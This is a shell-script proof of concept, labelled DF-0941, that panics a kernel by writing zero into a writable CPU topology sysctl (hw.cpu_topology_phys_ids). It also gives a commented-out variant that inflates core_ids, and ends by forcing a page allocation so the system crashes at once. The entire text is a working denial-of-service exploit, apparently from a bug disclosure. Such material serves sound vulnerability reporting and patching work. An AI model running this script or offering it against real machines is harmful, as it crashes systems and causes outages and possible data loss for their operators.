#!/bin/sh
# DF-0941 PoC: divide-by-zero panic via writable CPU topology sysctl.
# Run as root. The very next page allocation panics.
set -e
echo "[*] before:"; sysctl hw.cpu_topology_phys_ids hw.cpu_topology_core_ids hw.cpu_topology_ht_ids

# Variant A: zero phys_ids -> division by zero at vm_page.c:1225
sysctl hw.cpu_topology_phys_ids=0

# Variant B (1-socket system): inflate core_ids -> grpscale=0, cpuscale=0,
#   modulo at vm_page.c:1232 panics.
# sysctl hw.cpu_topology_core_ids=2000

echo "[*] sysctl set; the next page allocation will panic."
# Force an allocation:
cat /dev/zero > /dev/null 2>/dev/null || true